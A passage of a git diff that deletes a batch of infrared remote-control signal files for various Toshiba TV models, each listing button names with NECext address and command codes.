00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 63 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 80 00 00 00 -# -name: set+ -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 82 00 00 00 -# -name: set- -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 83 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 89 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_CT-90038/231,10.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_CT-90038/231,10.ir deleted file mode 100644 index 62b9ca308..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_CT-90038/231,10.ir +++ /dev/null @@ -1,92 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: E7 0A 00 00 -command: 0B 00 00 00 -# -name: rgb -type: parsed -protocol: NECext -address: E7 0A 00 00 -command: 0D 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: E7 0A 00 00 -command: 11 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: E7 0A 00 00 -command: 12 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: E7 0A 00 00 -command: 13 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: E7 0A 00 00 -command: 1B 00 00 00 -# -name: reset -type: parsed -protocol: NECext -address: E7 0A 00 00 -command: 1D 00 00 00 -# -name: key -type: parsed -protocol: NECext -address: E7 0A 00 00 -command: 1F 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: E7 0A 00 00 -command: 40 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: E7 0A 00 00 -command: 41 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: E7 0A 00 00 -command: 42 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: E7 0A 00 00 -command: 43 00 00 00 -# -name: KEY_KPPLUS -type: parsed -protocol: NECext -address: E7 0A 00 00 -command: 44 00 00 00 -# -name: freeze -type: parsed -protocol: NECext -address: E7 0A 00 00 -command: 45 00 00 00 -# -name: KEY_KPMINUS -type: parsed -protocol: NECext -address: E7 0A 00 00 -command: 46 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_CT-90205/231,10.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_CT-90205/231,10.ir deleted file mode 100644 index 6e244114a..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_CT-90205/231,10.ir +++ /dev/null @@ -1,74 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: E7 0A 00 00 -command: 11 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: E7 0A 00 00 -command: 12 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: E7 0A 00 00 -command: 13 00 00 00 -# -name: input -type: parsed -protocol: NECext -address: E7 0A 00 00 -command: 14 00 00 00 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: E7 0A 00 00 -command: 15 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: E7 0A 00 00 -command: 1B 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: E7 0A 00 00 -command: 1D 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: E7 0A 00 00 -command: 40 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: E7 0A 00 00 -command: 41 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: E7 0A 00 00 -command: 42 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: E7 0A 00 00 -command: 43 00 00 00 -# -name: freeze -type: parsed -protocol: NECext -address: E7 0A 00 00 -command: 45 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_CT-90298/64,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_CT-90298/64,-1.ir deleted file mode 100644 index c5b9dc263..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_CT-90298/64,-1.ir +++ /dev/null @@ -1,224 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 09 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 0D 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 10 00 00 00 -# -name: picture_preset -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 11 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 12 00 00 00 -# -name: audio_stereo_2channel -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 13 00 00 00 -# -name: KEY_CYCLEWINDOWS -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 14 00 00 00 -# -name: KEY_TIME -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 15 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 16 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 17 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 1A 00 00 00 -# -name: p_up -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 1B 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 1E 00 00 00 -# -name: p_down -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 1F 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 21 00 00 00 -# -name: stillpicture -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 22 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 2B 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 2C 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 43 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 48 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 49 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 4A 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 4B 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 52 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 53 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 54 00 00 00 -# -name: widescreen -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 59 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 5B 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_CT-90326/64,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_CT-90326/64,-1.ir deleted file mode 100644 index bd9d8a7ac..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_CT-90326/64,-1.ir +++ /dev/null @@ -1,254 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 09 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 0C 00 00 00 -# -name: expand -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 0D 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 10 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 12 00 00 00 -# -name: audio_stereo_2channel -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 13 00 00 00 -# -name: KEY_CYCLEWINDOWS -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 14 00 00 00 -# -name: KEY_TIME -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 15 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 16 00 00 00 -# -name: KEY_TEXT -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 17 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 19 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 1A 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 1B 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 1D 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 1E 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 1F 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 21 00 00 00 -# -name: stillpicture -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 22 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 40 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 42 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 43 00 00 00 -# -name: atv/dtv -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 44 00 00 00 -# -name: KEY_EPG -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 45 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 48 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 49 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 4A 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 4B 00 00 00 -# -name: squash -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 53 00 00 00 -# -name: question -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 54 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 5B 00 00 00 -# -name: ad -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 62 00 00 00 -# -name: picture_preset -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 63 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 64 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_CT-9573/64,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_CT-9573/64,-1.ir deleted file mode 100644 index 77aa66d2d..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_CT-9573/64,-1.ir +++ /dev/null @@ -1,152 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 09 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 10 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 12 00 00 00 -# -name: save -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 14 00 00 00 -# -name: call -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 16 00 00 00 -# -name: KEY_TEXT -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 17 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 1A 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 1B 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 1E 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 1F 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 48 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 49 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 4A 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 4B 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 4C 00 00 00 -# -name: shuffle -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 52 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_CT-9784/64,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_CT-9784/64,-1.ir deleted file mode 100644 index fe35715c5..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_CT-9784/64,-1.ir +++ /dev/null @@ -1,182 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 09 00 00 00 -# -name: X_KEY_0+ -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 0B 00 00 00 -# -name: expand -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 0D 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 10 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 12 00 00 00 -# -name: av -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 14 00 00 00 -# -name: KEY_TIME -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 15 00 00 00 -# -name: call -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 16 00 00 00 -# -name: txt_tv -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 17 00 00 00 -# -name: constrast -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 18 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 1A 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 1B 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 1E 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 1F 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 48 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 49 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 4A 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 4B 00 00 00 -# -name: squash -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 53 00 00 00 -# -name: question -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 54 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 5B 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_CT-9881/134,107.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_CT-9881/134,107.ir deleted file mode 100644 index 4cf9a261b..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_CT-9881/134,107.ir +++ /dev/null @@ -1,218 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 09 00 00 00 -# -name: KEY_102ND -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 0B 00 00 00 -# -name: ch_3 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 0D 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 10 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 12 00 00 00 -# -name: I/II -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 13 00 00 00 -# -name: src -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 14 00 00 00 -# -name: ch_4 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 15 00 00 00 -# -name: call -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 16 00 00 00 -# -name: txt/tv -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 17 00 00 00 -# -name: contrast -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 18 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 19 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 1A 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 1A 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 1B 00 00 00 -# -name: beep -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 1C 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 1D 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 1E 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 1E 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 1F 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 48 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 49 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 4A 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 4B 00 00 00 -# -name: ch_1 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 53 00 00 00 -# -name: ch_2 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 54 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 5B 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_CT-9952/64,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_CT-9952/64,-1.ir deleted file mode 100644 index 1ea4044d9..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_CT-9952/64,-1.ir +++ /dev/null @@ -1,188 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 09 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 0A 00 00 00 -# -name: tv_video -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 0F 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 10 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 12 00 00 00 -# -name: chrtn -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 17 00 00 00 -# -name: KEY_FAVORITES -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 19 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 1A 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 1B 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 1C 00 00 00 -# -name: KEY_FAVORITES -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 1D 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 1E 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 1F 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 4A 00 00 00 -# -name: KEY_SLOW -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 4B 00 00 00 -# -name: tv_vcr -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 4C 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 4E 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 4F 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 51 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 53 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 58 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 80 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_G83C0008A110/4,15.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_G83C0008A110/4,15.ir deleted file mode 100644 index 1179321ff..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_G83C0008A110/4,15.ir +++ /dev/null @@ -1,266 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 09 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 0A 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 0B 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 0C 00 00 00 -# -name: KEY_HOME -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 0D 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 0E 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 10 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 11 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 12 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 13 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 14 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 15 00 00 00 -# -name: KEY_PLAY -type: parsed 